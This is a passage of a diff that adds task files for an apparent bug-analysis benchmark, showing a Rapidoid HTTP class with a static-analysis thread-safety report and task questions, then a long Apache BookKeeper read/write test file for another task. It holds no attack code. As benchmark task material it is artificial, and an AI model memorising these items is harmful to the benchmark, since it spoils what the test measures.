+
+	@Override
+	public HttpExchangeBody sendFile(File file) {
+		U.must(file.exists());
+		setContentType(MediaType.getByFileName(file.getAbsolutePath()));
+		write(file);
+		return this;
+	}
+
+	@Override
+	public HttpExchangeBody redirect(String url) {
+		responseCode(303);
+		addHeader(HttpHeader.LOCATION, url);
+		ensureHeadersComplete();
+		done();
+		return this;
+	}
+
+	@Override
+	public HttpExchangeHeaders response(int httpResponseCode) {
+		return response(httpResponseCode, null, null);
+	}
+
+	@Override
+	public HttpExchangeHeaders response(int httpResponseCode, String response) {
+		return response(httpResponseCode, response, null);
+	}
+
+	@Override
+	public HttpExchangeHeaders response(int httpResponseCode, String response, Throwable err) {
+		responseCode(httpResponseCode);
+		ensureHeadersComplete();
+
+		if (U.production()) {
+			if (response != null) {
+				write(response);
+			}
+		} else {
+			if (err != null) {
+				String title = U.or(response, "Error occured!");
+				HTMLSnippets.writeErrorPage(this, title, err);
+			}
+		}
+
+		return this;
+	}
+
+	@Override
+	public String constructUrl(String path) {
+		return (U.hasOption("https") ? "https://" : "http://") + host() + path;
+	}
+
+	@Override
+	public String sessionId() {
+		// FIXME implement this
+		return null;
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.rapidoid.http.HttpExchangeImpl.reset` writes to field `this.com.rapidoid.http.HttpExchangeImpl.hasContentType` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void HttpExchangeImpl.reset()
+
+### Procedure Id:
+com.rapidoid.http.HttpExchangeImpl.reset():void.2e503902d6cdb104bb4e40c57489d37a
+
+### File:
+rapidoid-http/src/main/java/com/rapidoid/http/HttpExchangeImpl.java
+
+### Key:
+HttpExchangeImpl.java|reset|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+11297072dac801b038a82d6e231336be
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7116/instruction.md b/inferredbugs-7116/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..89c8ee3a2d47deec0a940f32e4ed850d9c6fe6f9
--- /dev/null
+++ b/inferredbugs-7116/instruction.md
@@ -0,0 +1,1113 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** bookkeeper
+**Bug ID:** 50
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.bookkeeper.test;
+
+/*
+ *
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ *
+ */
+
+import java.io.File;
+import java.io.IOException;
+import java.lang.NoSuchFieldException;
+import java.lang.IllegalAccessException;
+import java.lang.reflect.Field;
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.Random;
+import java.util.Set;
+import java.util.Arrays;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import org.apache.bookkeeper.client.AsyncCallback.AddCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadLastConfirmedCallback;
+import org.apache.bookkeeper.client.BKException;
+import org.apache.bookkeeper.client.BookKeeper;
+import org.apache.bookkeeper.client.LedgerEntry;
+import org.apache.bookkeeper.client.LedgerHandle;
+import org.apache.bookkeeper.client.BookKeeper.DigestType;
+import org.apache.bookkeeper.streaming.LedgerInputStream;
+import org.apache.bookkeeper.streaming.LedgerOutputStream;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.apache.zookeeper.WatchedEvent;
+import org.apache.zookeeper.Watcher;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * This test tests read and write, synchronous and asynchronous, strings and
+ * integers for a BookKeeper client. The test deployment uses a ZooKeeper server
+ * and three BookKeepers.
+ *
+ */
+
+public class BookieReadWriteTest extends MultiLedgerManagerMultiDigestTestCase
+    implements AddCallback, ReadCallback, ReadLastConfirmedCallback {
+
+    // Depending on the taste, select the amount of logging
+    // by decommenting one of the two lines below
+    // static Logger LOG = Logger.getRootLogger();
+    static Logger LOG = LoggerFactory.getLogger(BookieReadWriteTest.class);
+
+    byte[] ledgerPassword = "aaa".getBytes();
+    LedgerHandle lh, lh2;
+    long ledgerId;
+
+    // test related variables
+    int numEntriesToWrite = 200;
+    int maxInt = 2147483647;
+    Random rng; // Random Number Generator
+    ArrayList<byte[]> entries; // generated entries
+    ArrayList<Integer> entriesSize;
+
+    DigestType digestType;
+
+    public BookieReadWriteTest(String ledgerManagerFactory, DigestType digestType) {
+        super(3);
+        this.digestType = digestType;
+        // set ledger manager
+        baseConf.setLedgerManagerFactoryClassName(ledgerManagerFactory);
+        baseClientConf.setLedgerManagerFactoryClassName(ledgerManagerFactory);
+    }
+
+    class SyncObj {
+        long lastConfirmed;
+        volatile int counter;
+        boolean value;
+        AtomicInteger rc = new AtomicInteger(BKException.Code.OK);
+        Enumeration<LedgerEntry> ls = null;
+
+        public SyncObj() {
+            counter = 0;
+            lastConfirmed = LedgerHandle.INVALID_ENTRY_ID;
+            value = false;
+        }
+
+        void setReturnCode(int rc) {
+            this.rc.compareAndSet(BKException.Code.OK, rc);
+        }
+
+        int getReturnCode() {
+            return rc.get();
+        }
+
+        void setLedgerEntries(Enumeration<LedgerEntry> ls) {
+            this.ls = ls;
+        }
+
+        Enumeration<LedgerEntry> getLedgerEntries() {
+            return ls;
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testOpenException() throws IOException, InterruptedException {
+        try {
+            lh = bkc.openLedger(0, digestType, ledgerPassword);
+            fail("Haven't thrown exception");
+        } catch (BKException e) {
+            LOG.warn("Successfully thrown and caught exception:", e);
+        }
+    }
+
+    /**
+     * test the streaming api for reading and writing
+     *
+     * @throws {@link IOException}
+     */
+    @Test(timeout=60000)
+    public void testStreamingClients() throws IOException, BKException, InterruptedException {
+        lh = bkc.createLedger(digestType, ledgerPassword);
+        // write a string so that we cna
+        // create a buffer of a single bytes
+        // and check for corner cases
+        String toWrite = "we need to check for this string to match " + "and for the record mahadev is the best";
+        LedgerOutputStream lout = new LedgerOutputStream(lh, 1);
+        byte[] b = toWrite.getBytes();
+        lout.write(b);
+        lout.close();
+        long lId = lh.getId();
+        lh.close();
+        // check for sanity
+        lh = bkc.openLedger(lId, digestType, ledgerPassword);
+        LedgerInputStream lin = new LedgerInputStream(lh, 1);
+        byte[] bread = new byte[b.length];
+        int read = 0;
+        while (read < b.length) {
+            read = read + lin.read(bread, read, b.length);
+        }
+
+        String newString = new String(bread);
+        assertTrue("these two should same", toWrite.equals(newString));
+        lin.close();
+        lh.close();
+        // create another ledger to write one byte at a time
+        lh = bkc.createLedger(digestType, ledgerPassword);
+        lout = new LedgerOutputStream(lh);
+        for (int i = 0; i < b.length; i++) {
+            lout.write(b[i]);
+        }
+        lout.close();
+        lId = lh.getId();
+        lh.close();
+        lh = bkc.openLedger(lId, digestType, ledgerPassword);
+        lin = new LedgerInputStream(lh);
+        bread = new byte[b.length];
+        read = 0;
+        while (read < b.length) {
+            read = read + lin.read(bread, read, b.length);
+        }
+        newString = new String(bread);
+        assertTrue("these two should be same ", toWrite.equals(newString));
+        lin.close();
+        lh.close();
+    }
+
+    @Test(timeout=60000)
+    public void testReadWriteAsyncSingleClient() throws IOException {
+        SyncObj sync = new SyncObj();
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+                assertEquals("Error adding", BKException.Code.OK, sync.getReturnCode());
+            }
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            lh.asyncReadEntries(0, numEntriesToWrite - 1, this, sync);
+
+            synchronized (sync) {
+                while (sync.value == false) {
+                    sync.wait();
+                }
+                assertEquals("Error reading", BKException.Code.OK, sync.getReturnCode());
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            Enumeration<LedgerEntry> ls = sync.getLedgerEntries();
+            while (ls.hasMoreElements()) {
+                ByteBuffer origbb = ByteBuffer.wrap(entries.get(i));
+                Integer origEntry = origbb.getInt();
+                byte[] entry = ls.nextElement().getEntry();
+                ByteBuffer result = ByteBuffer.wrap(entry);
+                LOG.debug("Length of result: " + result.capacity());
+                LOG.debug("Original entry: " + origEntry);
+
+                Integer retrEntry = result.getInt();
+                LOG.debug("Retrieved entry: " + retrEntry);
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+                assertTrue("Checking entry " + i + " for size", entry.length == entriesSize.get(i).intValue());
+                i++;
+            }
+            assertTrue("Checking number of read entries", i == numEntriesToWrite);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    /**
+     * Check that the add api with offset and length work correctly.
+     * First try varying the offset. Then the length with a fixed non-zero
+     * offset.
+     */
+    @Test(timeout=60000)
+    public void testReadWriteRangeAsyncSingleClient() throws IOException {
+        SyncObj sync = new SyncObj();
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            byte bytes[] = {'a','b','c','d','e','f','g','h','i'};
+
+            lh.asyncAddEntry(bytes, 0, bytes.length, this, sync);
+            lh.asyncAddEntry(bytes, 0, 4, this, sync); // abcd
+            lh.asyncAddEntry(bytes, 3, 4, this, sync); // defg
+            lh.asyncAddEntry(bytes, 3, (bytes.length-3), this, sync); // defghi
+            int numEntries = 4;
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntries) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+                assertEquals("Error adding", BKException.Code.OK, sync.getReturnCode());
+            }
+
+            try {
+                lh.asyncAddEntry(bytes, -1, bytes.length, this, sync);
+                fail("Shouldn't be able to use negative offset");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, 0, bytes.length+1, this, sync);
+                fail("Shouldn't be able to use that much length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, -1, bytes.length+2, this, sync);
+                fail("Shouldn't be able to use negative offset "
+                     + "with that much length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, 4, -3, this, sync);
+                fail("Shouldn't be able to use negative length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, -4, -3, this, sync);
+                fail("Shouldn't be able to use negative offset & length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written",
+                       lh.getLastAddConfirmed() == (numEntries - 1));
+
+            // read entries
+            lh.asyncReadEntries(0, numEntries - 1, this, sync);
+
+            synchronized (sync) {
+                while (sync.value == false) {
+                    sync.wait();
+                }
+                assertEquals("Error reading", BKException.Code.OK, sync.getReturnCode());
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            Enumeration<LedgerEntry> ls = sync.getLedgerEntries();
+            while (ls.hasMoreElements()) {
+                byte[] expected = null;
+                byte[] entry = ls.nextElement().getEntry();
+
+                switch (i) {
+                case 0:
+                    expected = Arrays.copyOfRange(bytes, 0, bytes.length);
+                    break;
+                case 1:
+                    expected = Arrays.copyOfRange(bytes, 0, 4);
+                    break;
+                case 2:
+                    expected = Arrays.copyOfRange(bytes, 3, 3+4);
+                    break;
+                case 3:
+                    expected = Arrays.copyOfRange(bytes, 3, 3+(bytes.length-3));
+                    break;
+                }
+                assertNotNull("There are more checks than writes", expected);
+
+                String message = "Checking entry " + i + " for equality ["
+                                 + new String(entry, "UTF-8") + ","
+                                 + new String(expected, "UTF-8") + "]";
+                assertTrue(message, Arrays.equals(entry, expected));
+
+                i++;
+            }
+            assertTrue("Checking number of read entries", i == numEntries);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    class ThrottleTestCallback implements ReadCallback {
+        int throttle;
+
+        ThrottleTestCallback(int threshold) {
+            this.throttle = threshold;
+        }
+
+        @Override
+        public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> seq, Object ctx) {
+            SyncObj sync = (SyncObj)ctx;
+            sync.setLedgerEntries(seq);
+            sync.setReturnCode(rc);
+            synchronized(sync) {
+                sync.counter += throttle;
+                sync.notify();
+            }
+            LOG.info("Current counter: " + sync.counter);
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testSyncReadAsyncWriteStringsSingleClient() throws IOException {
+        SyncObj sync = new SyncObj();
+        LOG.info("TEST READ WRITE STRINGS MIXED SINGLE CLIENT");
+        String charset = "utf-8";
+        LOG.debug("Default charset: " + Charset.defaultCharset());
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                int randomInt = rng.nextInt(maxInt);
+                byte[] entry = new String(Integer.toString(randomInt)).getBytes(charset);
+                entries.add(entry);
+                lh.asyncAddEntry(entry, this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+                assertEquals("Error adding", BKException.Code.OK, sync.getReturnCode());
+            }
+
+            LOG.debug("*** ASYNC WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETED // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            Enumeration<LedgerEntry> ls = lh.readEntries(0, numEntriesToWrite - 1);
+
+            LOG.debug("*** SYNC READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                byte[] origEntryBytes = entries.get(i++);
+                byte[] retrEntryBytes = ls.nextElement().getEntry();
+
+                LOG.debug("Original byte entry size: " + origEntryBytes.length);
+                LOG.debug("Saved byte entry size: " + retrEntryBytes.length);
+
+                String origEntry = new String(origEntryBytes, charset);
+                String retrEntry = new String(retrEntryBytes, charset);
+
+                LOG.debug("Original entry: " + origEntry);
+                LOG.debug("Retrieved entry: " + retrEntry);
+
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+            }
+            assertTrue("Checking number of read entries", i == numEntriesToWrite);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+
+    }
+
+    @Test(timeout=60000)
+    public void testReadWriteSyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+                entries.add(entry.array());
+                lh.addEntry(entry.array());
+            }
+            lh.close();
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            Enumeration<LedgerEntry> ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer origbb = ByteBuffer.wrap(entries.get(i++));
+                Integer origEntry = origbb.getInt();
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+                LOG.debug("Original entry: " + origEntry);
+
+                Integer retrEntry = result.getInt();
+                LOG.debug("Retrieved entry: " + retrEntry);
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+            }
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testReadWriteZero() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                lh.addEntry(new byte[0]);
+            }
+
+            /*
+             * Write a non-zero entry
+             */
+            ByteBuffer entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+            entries.add(entry.array());
+            lh.addEntry(entry.array());
+
+            lh.close();
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == numEntriesToWrite);
+
+            Enumeration<LedgerEntry> ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testMultiLedger() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            lh2 = bkc.createLedger(digestType, ledgerPassword);
+
+            long ledgerId = lh.getId();
+            long ledgerId2 = lh2.getId();
+
+            // bkc.initMessageDigest("SHA1");
+            LOG.info("Ledger ID 1: " + lh.getId() + ", Ledger ID 2: " + lh2.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                lh.addEntry(new byte[0]);
+                lh2.addEntry(new byte[0]);
+            }
+
+            lh.close();
+            lh2.close();
+
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            lh2 = bkc.openLedger(ledgerId2, digestType, ledgerPassword);
+
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed() + ", " + lh2.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written lh (" + lh.getLastAddConfirmed() + ")", lh
+                       .getLastAddConfirmed() == (numEntriesToWrite - 1));
+            assertTrue("Verifying number of entries written lh2 (" + lh2.getLastAddConfirmed() + ")", lh2
+                       .getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            Enumeration<LedgerEntry> ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh.close();
+            ls = lh2.readEntries(0, numEntriesToWrite - 1);
+            i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh2.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testReadWriteAsyncLength() throws IOException {
+        SyncObj sync = new SyncObj();
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+                assertEquals("Error adding", BKException.Code.OK, sync.getReturnCode());
+            }
+            long length = numEntriesToWrite * 4;
+            assertTrue("Ledger length before closing: " + lh.getLength(), lh.getLength() == length);
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            assertTrue("Ledger length after opening: " + lh.getLength(), lh.getLength() == length);
+
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testReadFromOpenLedger() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+                if(i == numEntriesToWrite/2) {
+                    LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+                    // no recovery opened ledger 's last confirmed entry id is less than written
+                    // and it just can read until (i-1)
+                    int toRead = i - 1;
+                    Enumeration<LedgerEntry> readEntry = lhOpen.readEntries(toRead, toRead);
+                    assertTrue("Enumeration of ledger entries has no element", readEntry.hasMoreElements() == true);
+                    LedgerEntry e = readEntry.nextElement();
+                    assertEquals(toRead, e.getEntryId());
+                    Assert.assertArrayEquals(entries.get(toRead), e.getEntry());
+                    // should not written to a read only ledger
+                    try {
+                        lhOpen.addEntry(entry.array());
+                        fail("Should have thrown an exception here");
+                    } catch (BKException.BKIllegalOpException bkioe) {
+                        // this is the correct response
+                    } catch (Exception ex) {
+                        LOG.error("Unexpected exception", ex);
+                        fail("Unexpected exception");
+                    }
+                    // close read only ledger should not change metadata
+                    lhOpen.close();
+                }
+            }
+
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            /*
+             * Asynchronous call to read last confirmed entry
+             */
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+
+            SyncObj sync = new SyncObj();
+            lh.asyncReadLastConfirmed(this, sync);
+
+            // Wait for for last confirmed
+            synchronized (sync) {
+                while (sync.lastConfirmed == -1) {
+                    LOG.debug("Counter = " + sync.lastConfirmed);
+                    sync.wait();
+                }
+                assertEquals("Error reading", BKException.Code.OK, sync.getReturnCode());
+            }
+
+            assertTrue("Last confirmed add: " + sync.lastConfirmed, sync.lastConfirmed == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testReadFromOpenLedgerOpenOnce() throws Exception {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+                if (i == numEntriesToWrite / 2) {
+                    // no recovery opened ledger 's last confirmed entry id is
+                    // less than written
+                    // and it just can read until (i-1)
+                    int toRead = i - 1;
+
+                    long readLastConfirmed = lhOpen.readLastConfirmed();
+                    assertTrue(readLastConfirmed != 0);
+                    Enumeration<LedgerEntry> readEntry = lhOpen.readEntries(toRead, toRead);
+                    assertTrue("Enumeration of ledger entries has no element", readEntry.hasMoreElements() == true);
+                    LedgerEntry e = readEntry.nextElement();
+                    assertEquals(toRead, e.getEntryId());
+                    Assert.assertArrayEquals(entries.get(toRead), e.getEntry());
+                    // should not written to a read only ledger
+                    try {
+                        lhOpen.addEntry(entry.array());
+                        fail("Should have thrown an exception here");
+                    } catch (BKException.BKIllegalOpException bkioe) {
+                        // this is the correct response
+                    } catch (Exception ex) {
+                        LOG.error("Unexpected exception", ex);
+                        fail("Unexpected exception");
+                    }
+
+                }
+            }
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            // close read only ledger should not change metadata
+            lhOpen.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
